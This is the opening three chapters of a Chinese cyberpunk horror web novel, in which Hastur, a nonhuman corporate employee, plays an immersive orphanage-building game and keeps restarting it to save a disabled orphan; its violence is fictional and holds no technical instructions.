《赛博孤儿院模拟器》
1. 第 1 章
逼仄的房间,摇摆的吊灯。
哈斯塔坐在空无一物的审讯室内,专注地注视着(假如他真有眼睛这种拟人器官的话)房间内唯一一件装饰——
一面镶嵌在墙上的、巴掌大小的四方形小窗。
“姓名?”
人类的声音传入审讯室,因墙壁的阻隔而显得沉闷。
“哈斯塔。”
“#¥@员工编号。”
“1051。”
“物种?”
“NH-13:非人类科。”
“请你汇报……”人类的声音逐渐变得痛苦,仿佛正在忍受什么折磨,“为什么……突然摧毁整个H-1区,并对自己的队友发动袭击……致使他们变成活体肉块,插在H-1区的废墟上?”
*恐惧*。
哈斯塔嗅到了与他一墙之隔的人类,神经元内的谷氨酸正迅速转变为GABA。
肾上腺素、促甲状腺激素……各种激素与急速加剧的心跳混杂在一起,共同交织成名为“恐惧”的信号。
吊灯再次摇摆了一回,发出“吱呀”声响。
哈斯塔身披的黄色兜帽长袍边角无声摆动,舞动出波浪的形状。在深铅灰色的房间中,映着闪烁不定的灯光,呈现出一种缺乏生命力的灰白。
像一头被破坏了中枢神经的章鱼,死去的、褪色的尸体,仍在海水中浮动。
他依旧“注视”着小窗,一动不动。认为这种“恐惧”情绪很没有必要。
虽然前几个负责审讯的人,都在得到第一句回答后离奇昏厥,但哈斯塔认为,自己的态度始终是友善的。
他从不主动发起攻击,除非敌人先攻击他,或者有人碍他的事。
好说话的哈斯塔发出一串含混的低语,听起来像某种未知生物在以它怪异的声音,拟合成人类的语言:
“那样很美,我想这么做。”
“……”
墙壁的那一头瞬间静了几秒。旋即爆发出激烈的争执:
“美?!把人变成……咳嗯!变成几坨蠕动的烂泥,像串烤肉一样插在钢筋上,叫什么‘很美’?”
“艾博部长,你不该长时间停留在这里。1051造成的精神污染,已经让你的头颅和下颌开始畸变了。以及,对于这次意外,我们必须考虑到1051从不发动毫无缘由的攻击……他的队友会不会另有问题?”
“绿朱草——咳咳咳!绿朱草呢?!他作为1051号员工的*监管者*,难道不该来参与这次问责吗?!”
无数个人类,就有无数个立场。
盘综错节的利益在前,他们甚至愿意短暂地忍受精神污染带来的伤害。
他们压着声音对骂着,互讽着,全然不知公司斥巨资建造出的阻隔墙壁,已经不再能阻挡审讯室中的那头怪物。
哈斯塔隔着墙壁注视着他们,就像苍鹫用金黄色的鹰目注视一团挤在一起的黄蛋,孱弱而无知地在发育不良、薄如蝉翼的透明蛋壳中涌动。
而就在不通人情的鹰鹫举起锐爪,划破这层薄薄的蛋壳前,一道年轻的男性声音忽然挤入低声的争执中,带着些许疲倦:
“朋友们——朋友们。别吵了。很抱歉我来迟了。”
“我刚接到通知,赶去取哈斯塔的体检报告,那边给出的回答是:哈斯塔忽然毫无征兆地暴走,摧毁公司的H-1区,攻击队友,都属于正常反应。”
“??”艾博部长说,“绿朱草,你要不要听听自己在说什么狗话。”
艾博部长语气严厉:“你是1051的监管者,就是这么‘监管’的?无条件地袒护他?——该死!上面的人该不会同意你这么处理1051了吧?!你到底给上面的人灌了什么迷魂汤!”
绿朱草丝毫不觉冒犯,隔墙传来的声音依旧平静,语气中带着一种独特的、安抚的魔力:
“是的。老板同意了。”
“1051体内融合有大量的、来自不同生物的基因片段。研究中心那边认为,哈斯塔可能是进入了成熟期,因此产生了类似于动物的筑巢本能——所以他才把整个H-1区‘改造’成了巢穴的形态。”
“至于他的那些队友……”
“他们被收买了。上面派了专案组来调查,咱们最好别多管。”
苍鹫挪开了视线,白翳似的眼皮短暂刷过那双深金色的眼珠。
哈斯塔微微抬首,听着某些不具有意义的小插曲,被赶来的监护人打着官腔,用三言两语轻巧解决。
围聚在审讯室外的人低声嘟哝着,不甘地被“这是上面的命令”驱逐离开。
监护人推门而入,带进一股老旧油画的独特气息。
——他顿时产生了某种类似人类“愉悦”的感受。
毕竟他是一个艺术兼文艺爱好者,十分偏爱混乱或疯癫的画作和戏剧剧本。
而这股熟悉的颜料味,意味着他的监护人今天携带了“礼物”上门。
*礼物*。
黄色的袍摆微微荡起,哈斯塔的身体内又涌现出某种类似本能的悸动,仿佛在否认他对画作的定位。
但当他想问“不是礼物,那是什么”时,那股悸动又倏然消失,仿佛从未出现过。
奇怪。很奇怪。
这种似乎源自本能的悸动,在他从前23年的‘人’生中从未有过,只在最近频繁触发。
仿佛在他的深处,有一粒种子正在逐渐复苏,试图冲破某种沉重的封印。
“走吧?”
与墙壁几乎浑然一体的门被人敲了敲。
代号为“绿朱草”的监护人靠站在门边,玩笑似的屈指,在门板上叩出一串毫无规律的节奏。
绿朱草的身量不高,穿着一身公司发配的黑色军服。
因为匆匆赶路,衣服显得有些凌乱,流线型的光带顺着衣服的剪裁,闪着独属于公司科技的低饱和度蓝白光。
他的头上一如既往,戴着一只用来抵抗精神污染的黑色头盔(这东西极其稀有,哪怕是审讯官,也不是人人都配得上),左手拎着一幅画和一个亮蓝色的礼物盒:
“好不容易筑了巢穴,你不会更想留在这个审讯室里吧?”
“……”
一贯喜欢寻根问底的哈斯塔将有关“礼物”的困惑记录在心,无声移动出审讯室,表现得像个社恐章鱼,就差沿着墙边飘着走。
——他当然不是真的社恐,只是不喜言语。
如果放在一分钟前,哈斯塔说不定还真想留在审讯室,继续欣赏一墙之隔的人类上演恐惧与欲望交织的戏剧。
但现在戏台上人去楼空,重新回归安静规整的审讯室,对于只对“混乱”情有独钟的哈斯塔来说,已经失去了价值。
“我还给你带了第二样礼物。”
监护人将画塞给哈斯塔,终于腾出了手,一边领着哈斯塔回H-1区,一边拆掉皮革手套,露出银色的机械义体,费劲地和另一个礼物盒外的系带奋斗:
“一个全息头盔!”
绿朱草像举辛巴一样,献宝似的举起全息头盔:
“你这种筑巢欲旺盛的情况,在我进入成熟期的时候也发生过,堵不如疏。当初我就是借用全息游戏宣泄欲望的……还刺激了体内的一支血脉产生返祖反应。你也试试?”
*返祖反应*?
听起来似乎是变强的一种路径。
哈斯塔的黄袍在黑夜中无声蔓延,深处那颗种子又悄然探头,钻磨着压制它的冻土。
绿朱草在H-1区的废墟前停了下来,似乎在迫使自己不去看那几坨穿在粗钢筋上的畸形肉块。
这位监管者知道,专案组大概是没机会把这些背叛者从钢筋上解救下来了。哈斯塔不可能允许他人拆自己的巢穴:
“……我特地跑了趟研发部,提高这只头盔的拟真体验。研发部的人跟我夸下海口,说用它玩游戏,就跟真实体验没有区别……”
“你看看有没有你感兴趣的游戏?我可以帮你调到最高难度。”
哈斯塔对在哪宣泄情绪都无所谓,唯一会在乎这件事的,可能就只有屡遭重创的公司房地产以及财政部门。
绿朱草将头盔推到哈斯塔面前:“试试?我记得你以前的求知欲,和现在的筑巢欲一样旺盛,公司的财政没少遭罪。我想,你也许会对探究全息网络,一片未知的新领域感兴趣?”
——好吧,绿朱草成功了。哈斯塔的确被煽动起了兴趣:“推荐?”
绿朱草精神一振:
“你看看这个《赛博孤儿院模拟器》……公司新作,市面上找不到第二部比这拟真度更高、自由度更高、难度更高的全息游戏。后续你还有什么别的需求,我可以去找项目开发部给你现做——我想,它应该能最大程度上满足你的筑巢欲。”
绿朱草又补充了一句:“在工作之余。”
——是的。在工作之余。
公司是这样的。员工哪怕进入人生的关键时期,哪怕身体不适宜工作,依旧要工作。什么排遣情绪,都要在工作完成后,任何人都不例外,哪怕是老板本人。
基于这种“上级活得比我还像狗”“隔三差五还得替我支付战损”的实情,哈斯塔对偶尔的加班、不允许请假接受度良好。
听完绿朱草的话,想的也只是他其实并不认为自己新产生的本能是“筑巢欲”,或者说,不仅仅是“筑巢欲”。但他并不喜欢解释或闲聊:“好的。”
“我——嗯?”绿朱草的脸上掠过一丝意外,似乎没想到哈斯塔的反应会如此顺从。
他立即凑近过来,脸上多了几分兴奋和欣慰,试图顺着这个好趋势多聊几句。
黄袍的袍角飘荡而来,严严实实地将绿朱草堵在H-1区外:“离开我的巢穴。”
正不动声色往巢穴迈步,指望自己能room tour一下下的绿朱草:“……”
·
哈斯塔虽然没有接触过全息游戏,但做过进入全息网络、绞杀黑客精神体的任务。下载一个游戏,说实话和下载一个垃圾软件没有区别。
他很快搞定了游戏安装,只在戴头盔的时候犹豫了一下:
全息头盔需要接入脑机接口,而他显而易见的——没有“头颅”、“神经元”这种人类器官。
而且,他还需要在沉浸入游戏的同时,保持对外界的警惕。
周全思虑下,他从身体中分化出两颗脑袋。
一颗负责保持警戒,另一颗接入头盔中蔓延出的细长接口,无比丝滑地接入游戏——
然后迅速卡在捏脸界面。
长达十分钟的奋斗后,哈斯塔在还没进入游戏、尚在捏脸的情况下,戳开了游戏GM的投诉界面,投诉理由是:
游戏审美不够多元。
——凭什么只能捏人类,不能捏他?这是否是一种种族歧视?
GM大概感受到了一定程度上的冲击和无言以对。
长达两分钟的“正在输入中”后,身经百战的GM仍旧给出了最佳回答:
【我们这边可以按照您的原貌,提供角色还原。请稍后……扫描完毕,祝您游戏愉快。】
GM的效率高到不可思议,还冷静且友善地帮他删掉了一颗多出的脑袋。
哈斯塔推论,绿朱草一定事先跟负责运营这款游戏的公司职员打过招呼,否则以公司一贯的办事风格,GM只会把客户的投诉当球踢,说一些没有卵用的车轱辘话。
眼前的界面逐渐变暗。
再亮起时,一种类似于重型摩托引擎的轰鸣声在半空中炸鸣,由远及近。
绚丽而刺眼的霓虹灯光如同一条星河,自远方铺陈而来。
宏大的城市剪影在骤然之间凝实。
深深夜色中,眼前的城市像一头匍匐在海底面的巨兽。
巨大的探照灯柱从城市内部扫出,饱和度极高的霓虹灯在黑暗中闪烁,如同深海鱼类正在晃动它诱捕猎物的拟态发光器官。
【赛博孤儿院模拟器】
一行字幕缓缓亮起,浮在半空,几秒后黯淡轮替:
【这里,机械与崩坏的秩序并行。
霓虹灯穿透雾霾,却照不亮在街巷中流浪的孤儿们的未来。】
一道黑色的男性剪影骤然撕裂画面!以极为张扬而肆意的姿势,占据大半屏幕。
他似乎靠在一辆摩托车上,手中持有一把重型枪炮,随意搭靠在肩头。
蓝色的电光滋滋作响,在枪械冷硬的轮廓上镂刻出两行斜体小字:
【卢西亚诺·迪思默】<
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p>【迪思默帮第二代头目】
炮火轰鸣声陡然响起。
一道更加高大的身影出现在“卢西亚诺·迪思默”的身后,头颅低垂,胸肌线条几乎要撑破黑色剪影。
【???】
【第四次世界大战的引爆者】
机械扳动的咔嚓声掐断了炮火。
一道纤细的剪影悄然出没,身后缀着类似蜘蛛肢节般的细长黑影,大约是面部的位置似乎佩戴着口笼。
【亚当】
【游荡在人间的撒旦】
书页翻转声……
“……”哈斯塔开始面无表情地叩击身边任何能触碰到的东西,就像跳过剧情党在找不到SKIP键时,不耐地疯狂点击鼠标左键,意图触发“点击任意一处,跳过该段剧情”的功能。
首先,他不是为了看人类来的。
其次,为什么不给予玩家跳过剧情的自由?这是否是对公民自由选择权的一种剥削?
说好的“自由度最高”呢?
他被迫看完第四道名为【灭世的神明】的剪影,转头想再度发起投诉时,游戏终于再次进入可互动界面:
【从满是废弃机械的地皮开始,亲手打造一间属于您的赛博孤儿院吧!】
【选择身份:无业游民/洛杉矶警员/公司员工】
哈斯塔仍在重复叩击动作的肢体收势不及,一下戳中“无业游民”选项。
于是,当哈斯塔正式进入游戏时,他是怀揣着对“为什么不允许玩家跳过剧情”、“为什么重要选项不需要进行二次确认”的不虞,睁开双眼的。
——只有双眼。
因为*可靠的*GM在帮他删除多余的头颅时,删除的是那颗他分化出完整五官、方便接脑机接口的正常脑袋。保留的是那颗用来警戒,*只*分化出一双泥黄色眼睛,其余皆是虚无的头颅。
多么常见的公司员工操作失误。
哈斯塔毫无情绪波澜地接受了同事那令人窒息的操作,就像公司的财政部门一定会同样平静地接受他的战损报告。
他的心中只盛着一种最纯粹的、最原始的欲望:
*建造一处巢穴!*
*建造一处巢穴!!*
*建造一处巢穴!!!*
他开始急不可耐了。身侧吹来凉爽宜人的夜风,送来化工产品刺鼻的气息,令他舒适而愉悦,仿佛是一种无声而温柔的敦促。
他放开手迅速跳过大段的、人类都不想挨字看完的新手教程,直奔他下载这款游戏,最核心、也是最初的目的而去,打开建造页——
“乓!”
可恶的主线剧情吸走了他的公民自由权。
刚找到的建造界面转瞬即逝,取代而之的是一个四面透风,破败得连墙和窗户都带大窟窿的办公室。
“……”
哈斯塔的心就像他现在屁股底下的木质靠背椅一样冷硬。
他被迫被刷新在办公桌后的院长靠椅上。
黄色兜帽下,那双泥黄色的、瞳纹怪异的眼珠动了动,藏在阴影之下,森森望向面前的办公桌,以及办公桌前站着的那个头发灰白,面相精明的中年男人。
游戏的似乎与现实是同步的,十点的夜色笼罩着窗外,也渗入这间破漏的办公室。
名为尼森的中年男人,双手撑着桌面,过于尖锐的面容在昏暗的光影下被分割成光与暗的两半,呈现出一种欲择人而噬般的骇人状态。
他以一种居高临下的姿态逼视黄兜帽的顶部:
“——看看你这窝囊的样子,可怜的老H.J。难道你以为戴上兜帽,就能掩耳盗铃,逃避现实了吗?”
“看看你周围的一切——”
“有害物含量超标的黑海,寒酸到连一面完整的墙、一扇完整的玻璃窗都没法修缮的财政……你要怎么抚养你院里那个天生残疾的小病鬼长大?你有钱替他治病吗?”
尼森咄咄逼人的语气变得循循善诱:
“但凡你有任何一点良心,都该放手,把他交给我带走。”
“他在我的孤儿院里,会得到最好的医治——哪怕不是全世界最好的,但至少是整个凤凰区的孤儿院里最好的。”
——谎言。
哈斯塔缓缓仰头,像一只嗅闻到了灵魂气息的黄色摄魂怪。
除了从办公室北面飘来的海腥气与化工药剂的刺鼻味,此时的空气中,又多了几种更加微妙的气味:
促肾上腺素激素、多巴胺、肾上腺素、去甲肾上腺素……
这个人在因说谎而紧张,又因不知名的原因而亢奋激动。
要走一个病痛缠身的残疾儿童,显然不值得尼森亢奋,他真正的诉求是什么,恐怕并不如他口上说说的那样光明正义。
但哈斯塔不在乎人类说不说谎,正不正义。
他在乎的是:
他连建造界面都没打开,巢还没来得及开始建,强制进入的主线剧情就要从他巢里薅东西走?
哪怕是现实中一手遮天的公司都不敢这么干!
——现实中,也没有公司员工敢在不佩戴特别规格头盔时,直视他的双眼。
游戏不是现实,精神污染在电子代码构成的世界中很难传播。
饶是如此,尼森依旧在哈斯塔抬起头,与那双兜帽下的黄色双眼对上视线的瞬间,爆发出一声尖锐凄厉、以人类的发声器官似乎难以发出的锐鸣:
“▅▁█▃!!!!!!!”
而在惊恐到五官变形的尼森身后——
一道小小的黑影,陡然从敞开的窗口掠过。
月色如血,那道孱弱的身影像一只折翼的夜莺,笔直坠落。
肉.体撞击地面,发出一声又脆又闷、难以描述的重响。
忧郁的中次音萨克斯乐声渐渐响起,仿佛跨越了整片荒凉的白色大陆传来。
眼前的一切仿佛时间被定格,色调褪淡,只剩下黑白两色。
黑体加粗的字幕缓缓浮现,衬着哀乐,像是一场老式电影中的葬礼:
【楔子:注定坠落的时代】
哈斯塔:“……?”
这什么破游戏?
开局他还没碰到筑巢面板,固有财产说少就忽然少了一份,经过他允许了吗?
2. 第 2 章
不。
冷静下来想一想,一个经营建筑类游戏,开局就放送“高空坠人”,这合理吗?
他是不是下错了游戏?
哈斯塔无情地忽略了新刷出来的字幕,登出游戏,抱着头盔仔细检查了一遍,确认这款《赛博孤儿院模拟器》的发行商的确是公司,游戏分类也的确是“经营建筑”。
宣传标签里,倒有两个词抓住了他的注意,或许能解释他为什么开局见血:
剧情丰富,以及地狱级难度。
情况顿时明了了:这一定又是公司野心勃勃,想打造一款集建设、剧情、视觉体验等多重元素于一身的3A级游戏。
根据游戏下方“好评如潮”的评分状态来看,绝大多数人类玩家似乎都很吃“又能搞基建,又能看剧情”这一套,没人考虑哈斯塔的感受。
没人考虑,这世上可能存在着一种非人类,他正遭受“成熟期”所谓的“筑巢欲”的折磨,只想在下班后好好玩个筑巢游戏。
没人考虑游戏剧情安排孤儿在他眼前坠亡,不亚于天杀的策划笑嘻嘻地从他的巢穴里拆下一块,再满脸无辜地当着他的面“啪叽”摔碎。
哈斯塔心无波澜地给万恶的策划叛了死刑,并再度登入游戏。
他决定弄清楚自己固有资产的死亡原因,赐予肇事者一个永恒的噩梦。
然后删除游戏,顺道去“删除”这个喜欢用角色死亡为剧情增色的文案组。
视野缓缓变暗,楔子的标题字幕再次浮现。
哈斯塔做好了一旦能自由操作,就立即前往楼上查看孤儿的决定,黄色的袍角跟着他的神经一道绷紧。
下一秒:
【半个月后,凤凰区·哈利孤儿院】
盯着字幕缓缓滚过的哈斯塔:“……?”
刺眼的日光从敞露的窗户、豁洞的墙壁奔涌而入,办公室北窗外的黑色海面波光粼粼。
不知道是不是哈斯塔的错觉,海水表面折射出的大片金光,在某个特定角度下似乎拼合成了一个大大的笑脸,仿佛游戏策划对玩家森森的恶意:
:D
哈斯塔:“……”
黄色水母微微膨胀,0.01秒后快速飘到窗前。
哈斯塔探出身,看向窗台下方。别说固有财产的尸体了,就连血渍都被刷新得干干净净。
仿佛那个拉开一切的序幕,象征着坠落时代开始的孤儿根本不曾存在。
“……”黄袍的颜色瞬间变深,从干净无害的明黄,向充斥着不详意味的深褐迅速发展。
——首先必须要强调的是:哈斯塔有很多优点。
比如作战实力强盛,比如性格随和好相处。
即便在研究中心培育出的历代实验体中,他的精神污染能力、实际战斗能力依旧数一数二。并且不像其他同类,他在没被招惹时,从不主动发起攻击,堪称怪物堆中的绅士。
但是。
在他诸多优点之中,绝不包括“被恶意招惹,仍不做反击”。
这破游戏仍旧存活的唯一原因,是精神污染的确很难对电子代码造成破坏。
*但不该是这样*。
一种古怪的悸动,突然从哈斯塔的身体深处冒出来,狠狠击中了他。
仿佛有一道声音在心底对他责备地说:你本应当能做到更多……*哈斯塔*。如果你做不到,那只是因为现在的你太过弱小……
弱小?哈斯塔无法理解自己怎么会冒出这种奇怪的念头。
错过剧情又不是什么天大的事,一个游戏而已……更何况,他在游戏的启动页面见到过“新游戏”、“保存存档”、“加载存档”的选项。
游戏的神奇之处不就在这里?
现实的时间无法倒流,被他精神污染的人类无法回复。
但在游戏里,只要开一档新游戏,尼森就能奇迹般地重新变成正常人类,他的固有资产,也会奇迹般地死而复生!
*但他不·该能够重新变回正常人类。*
又是那道影子一般的声音:
*你该更努力点,哈斯塔!污染核心数据!让他即便游戏重开,依旧只能痴愚的尖叫!*
“?”哈斯塔决定将“精神分裂”列入下一次体检的项目表,并靠思索“结束以后,要如何删除文案组”,熬过漫长的开屏PV。
夜色重新替代了光明。
在被主线剧情吸入的前一秒,哈斯塔闪电般选择保存存档,而后果断从木质靠背椅上起身,绕过试图和他对话的尼森,冲出办公室。
“H——你跑什么?!”
尼森在他身后跌跌撞撞地追了上来,似乎仍想和他来一场酣畅淋漓、不允许Skip跳过的对话:
“难道你想找鹰帮的人替你撑腰吗?别傻了!我既然能进这家孤儿院的门,就意味着早就和鹰帮打点好了关系,你没发现他们今天一个人都不在,只留下你我单独聊天吗?我为他们支付了泡在红灯区一整晚的酒水费!”
哈斯塔置若罔闻,持续向楼上进发。
鹰帮是什么?能做成鸟类标本,装点他的巢穴吗?
他迅速赶到院长办公室正上方的房间,掀起袍摆撞开老旧的木门——嗯,没撞开。
一道淡白色的字样,在左下角飘起来:
【您的角色等级过低,请在升级后,进行力量加点!】
哈斯塔只停顿了不足半秒,就向侧面闪开,放任人高马大、但运动神经一看就不发达的啤酒肚男人一头撞上房门。
“啪嚓!”
“啊——”尼森发出悲惨的大叫,抱着门板一起倒下。
“乓!”
脆弱的木板在地面上激起大片灰尘,在昏暗的灯光下,像迷幻的烟雾。
尼森的呛咳中,哈斯塔听到了另一重沉闷的声音,像是什么柔软的东西栽倒在地,倾倒出一连串呕心沥血、几乎喘不过气的咳嗽。
哈斯塔在尼森骤然拔高的怒骂声中跨越过门和人,来到床的另一边,在地面上见到了目前仍活着的固有资产:
这是一个没有右腿,左臂畸形,瘦瘪得像骷髅标本的孩子。
他生着雪色的头发,眼睛的虹膜呈现出一种仿佛刚哭过一场的粉红色,本该透亮的瞳仁殷红而晦暗浑浊。
哈斯塔在房间内兜转一圈,没打算用可悲的、连扇破门都撞不开的低级力量,挑战托举一个男孩,只想找到并宰掉那个潜在的财产破坏者,然后删游戏删策划。
但看了一圈,他没发现杀人犯的半点踪迹,倒是发现了点别的:
比如从床边蔓延到孩子身下的足迹证明,这孩子并不是从床上滚落的,而是艰难前行到一半,被撞破的门板惊到失去平衡,因此摔倒的。
按照地面上蔓延出的痕迹的走向,这孩子似乎一开始就奔着窗台而去,很难说上一个存档,没有撞门的干扰,这孩子是不是成功来到了窗台边——甚至窗台上,而后因为尼森的尖叫,被惊坠在地。
换句话说,如果追根溯源……
那个他想干掉的财产破坏者,大概就是刺激尼森尖叫的他。
事情顿时变得尴尬起来。
但好在哈斯塔从不在自己身上找原因,只看着爬起来的尼森堪称热情地将男孩扶回床上,然后大谈特谈自己孤儿院的环境和医疗条件:
“你为什么想去窗台?想要自尽?”
——他其实不该问的。
既然证明了财产破坏者并不存在,那他该现在就退出删游戏,闪击游戏研发部。
但这游戏的拟真度的确惊人,他在尼森充斥着欲望的荷尔蒙激素之下,嗅到了另一股更加熟悉的气息:
肾上腺素、皮质醇……心脏的鼓动,渗出皮肤的汗液,吞咽口水的声音,共同交织成一种名为“求生欲”的信号。
当他还是实验体,“居住”在研究中心时,能够在每时每刻,都从身边的同类身上闻嗅到这种气息。
对于他们这些怪物来说,人性虚伪而无用,无法保护你活过下一场实验、下一场斗蛊。
兽性才是真实的。
求生欲、进食欲、繁衍欲、筑巢欲、对进化和变强的渴望……
他们或许后来被披上了人皮,但依旧是由最本能、最原始的欲望织构成的怪物。
怪物不对人类追捧的时尚和高尚心动,但永远会敬畏求生的本能。
就像豺狼鬣狗,永远会敬畏大自然的寒冬。
游戏堪称一比一地还原了哈斯塔那种怪异的、像是异类拟合成人话的声线。
昏暗的灯光下,尼森和男孩不自觉地僵硬了身体,冷汗沾满额头。
尼森反复看了哈斯塔好几眼,即便这次没有看到兜帽下的真实,神色依旧变得明显不安了起来。
男孩却在感知到哈斯塔——或者说院长的不对劲后,面露迟疑,而后重重咬了下后牙:“你不是H.J,对吗?”
一旦豁出去走了第一步,后续的话便顺畅起来。
男孩思路明确,表达清晰地说:“我不知道你顶替他的目的是什么,但我可以回答你的问题——因为我想逃离孤儿院。”
“H.J没有财政来源,没有自保能力,孤儿院在半年前就被鹰帮的混混占领,当做据点了。”
“院里原本还有两三个健全的孩子,都被鹰帮抓走卖掉。只剩我一个人,因为畸形和多病躲过一劫,但……咳咳!”
男孩忍着咳说:“但是前几天,我听见他们在隔壁的制毒室谈论,说要拿我和H.J试用新配的毒.品。”
哈斯塔的黄袍浮动了一下,能看出男孩虽然语调沉着,但因为畸形,似乎并不习惯抬
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头与人对视,眼神始终躲避地看向地面。
他似乎为自己的想法感到羞耻,但仍然坚定地诉说:“我想活着。”
*虽然丑陋畸形。虽然弱小无用。但我还想活着。*
活着的怪物、死去的怪物,都曾这么想。
“……”哈斯塔没想过,自己竟能从一个游戏NPC,而且是一个很容易死在序章,连正脸都没机会露的NPC身上,看到过去的影子,这多少恢复了点他对游戏策划的评价——
但这也不是策划在一款本该轻松解压的建造游戏里,塞死亡剧情的理由!
“你会活着。”哈斯塔意外发现建造界面此时竟能打开,顿时有些克制不住地分散了注意力,不自觉地伸出想要筑巢的触须,“只要你远离窗台。”
一面半透明的屏幕浮现在眼前,蓝白相间的线条完整展现出孤儿院的架构:
这是一栋仅有两层,但每层楼都高达六米的长方形建筑,地下还挖了额外的空间。
设计图没有对地下层多做交代,但详细标注了一二楼的房间分配:
一楼的入门大厅直接连接着餐厅。
而在餐厅的左右两侧,分别安排有厨房、院长室,以及一个院内学校。
二楼全部被划归为孤儿宿舍,有一间公共卫浴。
不过此时,绝大多数宿舍房间,包括一楼院内学校,都被“已被侵占”的红色标识占领,仅有一楼的公共区域、院长室,以及二楼他们所在的这一件孤儿宿舍能够进行改建。
哈斯塔立即拆了院长室的部分墙壁——建设资金为零,他只能拆东墙补西墙——将惊慌嚷嚷着“你不是H.J?!你是谁!我要把这件事告诉鹰帮——不!上报警署!”的尼森围在一个1×1.578(他不喜欢规整的东西)的封闭小屋里,旋转倒置,移动到一楼入门大厅的天花板上,又将一楼那笔直的入门走廊拗成扭曲的乱麻结构,而后缓缓舒出一口气。
——用的是现实世界里那颗带着头盔、五官完整的脑袋。
绿朱草说的没错,这个游戏的确能满足他的筑巢欲,上起手来,体验感还是不错的。
夜色中,黄袍跟着他一起舒展,像一朵瘫得扁扁的蛋黄水母。
哈斯塔的袍摆翻起小小的浪花,他像拧橡皮泥一样,将整栋建筑拧成一个怪异、毫无规则可言的形状,又迅速破坏掉可更改区域内所有规整的物品、房间。
等他重新排完所有电线,黄袍如同睡饱抻懒腰的猫咪一般,舒适而惬意地抻直时,楼下忽然响起一阵惊怒交加的大骂:“F***,怎么回事?!有人袭击了孤儿院?!”
*
孤儿院外。
鹰帮的混混们条件反射地举起枪械,启动攻击型义体,惊疑不定地瞪视面前这栋大变样的建筑,才在红灯区灌的酒现在几乎全醒了。
就在半天以前,眼前的建筑还板正得像个竖立的棺材。拉尔几个嬉笑着说“这次的新品是在棺材里做的,要不就叫它‘棺材粉’或者‘骨灰’”。
可现在,它变得像……
言语的贫瘠,无法描绘出眼前建筑那毫无规律可言、充斥着恶意与混乱的形状。
有人已经无法自控地产生呕吐、昏眩的反应。
只有拉尔这个神经一贯粗大的家伙,将扭曲的建筑、痉挛呕吐,视为嗑嗨了的副作用,一边大舌头地笑说着“骨灰该定什么价”,“这负面效果有点酷,说不定能当提价的噱头”,一边踉跄着走进大门。
正门的门板不翼而飞。
夜色中,孤儿院像个匍匐在地的怪物,敞开的漆黑门洞是它大张的巨口。
所有人中呕吐得最厉害的那一个,浑身都在发抖,紧紧盯视大门的眼神显得有些神经质。他干燥起皮的嘴不停蠕动着,反复无声念叨同一个单词:
“撒托古亚……撒托古亚……”
突然之间。
一阵烤肉似的噼啪作响和拉尔的惨叫声,猛然划破了紧绷的夜色。
打头的几个混混顿时难以忍受地发出大吼,胡乱冲着透不出一丝光的门洞倾泻子弹和炮火,又在将一切火光悉数吞没的门洞前畏惧的止步。
没人敢冲进黑暗一探究竟,看是不是有人在捣鬼。
更多的低语在人群中细碎而恐惧地响起:
“是真的……摇篮教宣扬的都是真的!不然要怎么解释我误投进去的T-1闪光弹都刺不穿黑暗?!”
“撒达—赫格拉……大闹钟……不,不!摇篮教既然知道祂们的存在,就一定知道该怎么驱逐祂们!我们去找教宗——”
“你脑子没嗑.粉嗑坏吧?难道你还想做驱逐邪神的大英雄?赶紧放弃这个地点,另找地方安顿就得了,我——啊!!!”
死亡像海拉的黑色袍纱,寂默而轻柔地降临于这片夜色中。
3. 第 3 章
孤儿院外的惊惶低语传不上二楼,骤然降临的集体死亡,也和神秘学没有半毛钱关系。
哈斯塔只是在看清游戏地图上的“入侵者”红名标记后,科学地将刚布好的电线和水管再度改道,脏水和电光就将这波红名变成了灰名。
他舞动着雀跃的黄色小波浪,将收复的地皮也一口气改建完毕。五分钟后,舒畅、但又不完全舒畅地收手。
——所有可改建区域全部改建完毕了!
怎么就这点内容?
孤儿院南边的沙漠不能动吗?北边的黑海呢?
——哦,没钱,买不起地皮。
哈斯塔:“……”
如果哈斯塔是人类,此时应当瞳孔地震:怎会如此??怎么在游戏里宣泄欲望,也要先工作赚钱!
这一刻,即便不是人也得上班的怪物社畜,陷入了人类社畜也常会产生的无解迷思:
就没有什么办法,能够不用工作、不用花钱,依旧能尽情体验想要的乐趣吗?
“嗬——”
身后忽然传来窒息般的抽气声。
一种陌生的恶臭和熟悉的腥甜气息,毫无征兆地骤然炸开,眨眼间充斥了整个房间。
哈斯塔旋身回头,就见原本蜷缩在床上,接到保证后就一直保持沉默的男孩呕出满口黑血,溺水般痛苦挣扎。
他抠挠着脖颈,仿佛想撕开喉咙,从气管中摘出什么阻碍物,晦暗浑浊的眼中盛着水光,激素大量分泌。
他没有说话,但在哈斯塔眼中,却像一个无法忽略的求救信号:挣扎的身躯、投来的目光,愈发浓郁的激素,无不在向他哭喊:
救救我!!!我想活下去!!!
下一秒。那些高高抬起,试图抓住生机的四肢断线般坠落,在床铺上砸出沉闷的噗响。
尚还沾着呕出的烂肺的手垂下床沿,苍白与猩红织构出死亡的象征。
忧郁的萨克斯声又从那片荒凉的白色大陆上吹来,字幕再次浮现:
【楔子:注定坠落的时代】
一切都好像没有改变。只不过上一次坠落的是孤儿的躯体,这一次坠落的是生命。
换成任何一个人,都该在第二次刷出BE时怒摔头盔,大骂“狗屁策划不做人”“摁头喂便当”了。
但对于天生不具有人类情绪理解能力的哈斯塔来说——
对啊!重开一局,不就相当于获得一片新地皮了吗?
就是固有资产似乎难救一点,但既然已经做下承诺,他便不会食言。
哈斯塔驾轻就熟地退回菜单界面,进入新游戏。
只是这一次,在过新手教程时,哈斯塔犹豫着选择了没有跳过。
*承诺*。
对于哈斯塔来说,承诺天然具有和法定合同一样的约束力。
单纯只为了建造,他不会在意多重开几次。
但既然承诺了要让固有资产活着,那他这一次重开,就不会允许死亡的再度发生。
熟悉的场景在眼前铺陈开来。
新手教学令时间处于停滞状态,高亮的线条勾勒出书桌上哈斯塔从未在意过的文件:
【尽可能多的搜集情报!赚钱、扩建、推动剧情发展的一切线索,都有可能隐藏在蛛丝马迹中哦~】
哈斯塔:“……”
他再次确认了一下自己下的的确是经营建设类游戏,不是什么密室解谜类游戏,在履行诺言的责任驱使下,还是拿起文件上方那张被圈出的字条。
熏黄的字条上以细长倾斜的字体,写着一串数字和名字:
【0124-5651-5563
雷蒙德医生】
时间在他放下字条的瞬间,重新开始流动。
哈斯塔立即老练地打开建造界面,将张嘴欲言的尼森关进小黑屋。
卖掉孤儿院所有的门窗,杜绝固有资产再度坠亡的同时,还小赚了一笔建筑经费。
